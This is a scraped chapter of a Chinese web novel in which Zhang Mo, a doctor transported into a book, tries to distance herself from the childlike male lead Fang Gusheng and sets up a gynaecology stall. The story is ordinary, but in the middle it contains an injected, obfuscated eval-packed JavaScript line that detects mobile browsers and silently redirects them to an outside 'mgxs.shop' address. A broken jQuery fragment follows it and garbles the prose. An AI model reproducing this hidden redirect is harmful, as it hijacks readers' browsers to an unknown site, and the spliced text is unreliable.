文趣网 > 其他小说 > 恶女也需要演技 > 16. 远离男主,从“我”做起
    章沫厚如城墙的脸皮,开始帮忙收拾碗筷,将方顾生踢到一边清扫院子,他其他的事情不会干,但经过姜五误打误撞的折腾,这件事情还是做得炉火纯青。

    妇人名叶静,她人敏感机灵,一开始出来看到有人倒在自家门口,就察觉到不对劲,她一个人带着个孩子生活,都会多留几个心眼。

    她看方顾生的面相温和,笑起来傻里傻气,就问他,“你在笑什么?”

    她这么一问,方顾生看向章沫的位置,她在树下探头探脑,窃笑的样子全部在方顾生的眼睛里。方大少脑子里满满当当的甜言蜜语,忘得一字不剩,傻笑道:“我媳妇在那里笑,她开心我就开心……”

    他嘴巴没有片刻停留,本来夸叶静的话全部用在了夸他媳妇身上,最后说,“我媳妇好久都没吃饭了,她说要把我卖了,换口吃的,你这里有吗?”

    他一脸真诚,没有掺半点假,叶静张口呆愣了一会后,看出这小子脑子应该是有点不对劲的,没去直接挑明,而是瞬间眉开眼笑。

    叶静在厨房给章沫打下手,一五一十、字字不落将和方顾生的对话说了一遍,还顺势模仿方顾生傻里傻气的语气。章沫拿着抹布的手机械地擦着灶台,无奈地闭上眼睛,头埋得低低的。

    其实本来没多大事,奈何叶静用羡慕的语气夸她有个知冷知热的夫君,这让章沫瞬间警觉。

    她和方顾生的关系好像越来越不清白,一开始还会据理力争自己不是他媳妇这诡异的身份,现在她自己竟然将方顾生的媳妇这个虚虚实实的身份,不知不觉代入自己。

    门外靠着方章沫随手写的招牌,下面那一行“不行赔夫君”几个小字,极其扎眼地附着在上面。

    现在想起来,她随手写下的才是可怕的……

    男主和珠儿的相处模式有这么和谐吗?她不清楚,不过他要狠下心,亲自把这成藕断丝连的关系斩断了。

    叶静絮絮叨叨地说道:“你夫君看起来傻了一点,那颗心可全在你身上,这是多少人羡慕的事情啊。”

    章沫心道:这位可是重量级男主,我怕我没命收。

    叶静道:“你要是卖呀,卖给我算了。”她探头往外看了一眼,那小子一边认认真真扫地,一边和她儿子玩。

    叶静一回头,看出章沫异常的脸色,“不会是当真了吧,你姐我这个人心直口快,就是喜欢开玩笑,你可别放在心上。”

    章沫笑嘻嘻抬头,“我是在想怎么把他给你,就是一累赘,而且他不是我夫君。”

    “啊,怎么可能!”

    章沫现在撒谎程度练就得登峰造极,脸不红心不跳道:“我看他好看就捡回来了,没想到是个大傻子,看到我的第一眼就叫我媳妇,我也没有办法,个人魅力太强。也可能为情所伤,谁知道怎么回事!”

    “捡的?”叶静停下手上的活,没有质疑这句话的可信度,而是瞬间有种醍醐灌顶的通透感,低声道:“那他会不会是哪家落魄少爷,身负血海深仇,被人追杀,被你捡起来了,清醒后必定和你展开一段爱恨情仇。”

    她一句话将女主所在的剧本解释得透透彻彻,并顺利推测出方顾生的真实身份,章沫都怀疑眼前的人有一个神秘莫测的身份,震惊而疑惑之后,迟迟回答不了她的话。

    两人震惊的眼神碰在一起,最后同时心有灵犀地大笑出了声。门口心智差不多大的一大一小玩得正开心,一下被吸引过去,探头看了一眼厨房里笑得花枝招展的两人。

    接着章叶二人又如分离好久的忘年姐妹,天南地北闲聊了好一阵子,章沫才拉着蹭吃蹭喝的方顾生走,叶静拿了一大包干粮跑出去送给他们,叮嘱道:“有时间就来玩一玩,看看我们孤儿寡母,我们在这里朋友也不多。”

    她爱笑的眼睛里含着真切的情意,章沫看着她的脸,推脱的话说不出来,便收下这份发自内心的好意。

    回去的路上,章沫心中一直焦灼不安,她在反思自己和方顾生的关系,今后的相处模式该如何进行下去。她越来越烦躁,前行的脚步也越来越快,手里拖着一块比她腿还长的板子,也没有耽误她脚下飞奔的速度。

    方顾生抱着一包干粮在后面小跑着跟上去,每每放慢速度,两人的距离就会以肉眼可见的速度拉长。

    章沫浑身散发着暴躁又不好惹的毛躁感,跟在后面的方顾生都没感觉到自己生死难料,在后面喊道:

    “媳妇,等我,走慢点!”

    “媳妇,我们什么时候再来吃饭?”

    他不是跟不上去,而是身体以前培养出来紧急避险的能力和大脑连接不上。身体隐隐约约感知到前方杀气腾腾,遇到危险本能躲避,而正主的脑子却没有跟上。

    身体下意识想躲,脑子一个劲往前追。

    乡村小道上,一位拖着板子怒发冲冠的女子走在前面,后面跟着神情焦急追赶的俊朗男子,路人惊奇侧目,不知道的人还以为男子要去拉劝架的媳妇。

    走到半路上,章沫受不了身后情意绵绵的声音,突然回头,怒火中烧的眼神直接锁定方顾生,冷嗖嗖道:“能不能安静点。”

    一句话过后,方顾生果然安静了许多,不再喋喋不休地说话,只有静默追赶。

    走进巷子,沉寂的巷道里只有沉闷的脚步声,章沫一脚踏入院子,努力闭上眼睛,冷静了好一会,心里那股焦躁不安的火气迟迟压不下。

    这就是一本书,她不能在这个烂俗的剧本里太过沉沦!

    直到身后追上的脚步靠近她,章沫站在原地蓦地回头,冷然面对站在身后的方顾生,“以后离我远一点,不准靠得很近。”

    方顾生站在左右无人的狭窄巷道,笨拙的脑子里不明白自己的媳妇为什么对他突然变脸,他脑子里突然闪现父母相处得浓情蜜意的画面,父亲对他说,“媳妇就是要哄,就算不是你的错,也必须是你的错,长大了对你媳妇好一点”,父亲点着他的头,试图让他清醒。

    方顾生不知不觉想到了父亲,猛然惊醒过来,谨遵父亲的教导,即使不清楚现在是个什么情况,也想上前哄哄她,刚抬起的脚就被叫停了。

    “别动!”章沫手指着他,“不准再过来,以后离我五步远的距离,说话也不准靠得太近,听到没有!”

    方顾生伸出去的脚又缩了回去,不知如何是好,期期艾艾道:“媳妇,我错了。”

    你错什么了就认错!

    章沫心烦意乱,她想彻底打碎心中的妄念,这小子脑子不好的时候对她百般殷勤,一恢复就对她疾言厉色,简直就是精神分裂。

    不知道从什么时候起,她开始逃避回答一件重要的事情——回到现实世界这件关系到性命的事。

    始作俑者就是方顾生一个个关心而不自知的眼神,章沫从小的生活经历中,很少有人和她相处的这么亲密无间,谈过一次恋爱,最后无疾而终。原因很简单,两人的关系越亲密,她就越迷惑,越惊恐,她怕深陷泥潭,不可自拔,到最后接受不了在那段关系里挣扎的自己,果断结束恋情。

    章沫看向方顾生的眼神越来越复杂,从迷茫变成恐惧,她竟然将方顾生代入自己喜欢的人。

    她道:“以后不准叫我媳妇,我不是你媳妇!”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768987|209842||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    章沫头也不回步入自己的房间,用力摔上门,她用背抵住房门,心脏沉闷的跳动压得她喘不过气来。

    她是真的没救了!

    章沫抬起双手捂住疲惫酸胀的眼睛,她的眼泪在过去很久的时候,就已经流干了,眼眶里只剩下干涩难耐。

    她从小有个毛病,一难受,就会让自己忙碌起来,对于同行在工作中的哀声载道,她反而喜欢在医院里高压的工作环境,那样就没有机会胡思乱想。

    章沫在寒酸的房间里很快整理了凌乱的思绪,必须要早点事情做,才能将目光从方大男主身上转移。忆古思今后,她打开门走了出去,方顾生身单影只坐在门槛上,抱成一团缩在角落,委屈的眼睛从手臂里抬出来,怯怯地望着走出门的章沫。

    章沫旁若无人地走到院子里,对一直紧跟着她的视线视若无睹。

    她走到角落,捡起自己进门随手丢的招牌,用尖锐石子划掉“不行赔夫君”一行小字,重新刻上一句“童叟无欺”,刻意放大的字体完完全全遮盖住之前的小字。

    章沫拿着牌子走到村口的地方,那里来来回回走动的人多,旁边还有人买茶,搭建了个简单的茶棚,走近茶棚的人少说也有十几个,章沫百无聊赖坐在对面的草地上,本想蹭对面茶棚的顾客,一个赏脸的顾客都没有。

    方顾生一直尾随在身后,离得远远的不敢靠近,总是偷偷地往章沫那边看一眼,他偷窥的视线太过明目张胆,过路同行的两位农妇打趣道:“小郎君,惹你家娘子生气了还是怎么回事。”

    方顾生万人迷光环开始发力,另一人笑道:“小郎君是外地人吧,我们这里是个穷地方,哪里有你这么好看的人。”

    方顾生如沐春风地笑了笑,笑道农妇心花怒放。方顾生站在太阳底下和她们闲聊,温文尔雅,一点看不出来只有几岁小孩的心智。章沫撇见他身形挺拔,脸上的笑容比太阳还要刺眼,有说有笑的开始和对面的人聊天,心里开始酸痛无比,不自觉开始拔脚边绿油油的野草。

    方顾生脑子开了光一样,闲聊几句开始用漂亮姐姐来称呼她们,之前学会的甜言蜜语连珠炮单一样地说出来。农妇一个个害羞地放下锄头,有种促膝长谈的架势。

    等到人终于打算走了,章沫冷静下来,突然意识到脚边的青绿的草已经被她薅光了。

    那两农妇有说有笑走近章沫,依旧依依不舍频频会看原地不动的方顾生,章沫看准机会,站起来大着嗓门介绍道:“两位姐姐,看带下病吗,现在看能减半价。”

    其中农妇看白痴一样看她,被同伴拉着躲得远远的,退避三舍不为过。

    章沫找不到缘由,她是治病的,又不是收命的!

    她把一切都怪罪在方顾生身上,身为男主,有蓬勃气运加身,旷日持久的争斗中,不仅成为首富,还会迎娶白富美,高官厚禄触手可得。

    章沫在郁郁寡欢中一直枯坐到下午,围绕方顾生的女性都会无缘无故忽视章沫,或者看了眼她竖起的牌子都会刻意避远。

    章沫不得不考虑是牌子出现了问题,脑子突然灵光了一下,问题可能出现在病的问题上。

    妇科疾病,尤其是许多隐秘的妇科疾病,自古以来都是比较隐晦的,古代的女孩子对这方面更加在意,她大张旗鼓得将招牌摆在外面,任谁看了都会退避得远远的,生怕其他人知道自己有病。

    章沫在医院工作,观念和普通人不一样,一开始觉得身体一旦有不对劲就要早发现,早治疗,最忌讳拖这个字,疾病掩饰过了头就是人祸。

    现在观念一旦扭转过来,一下子醍醐灌顶。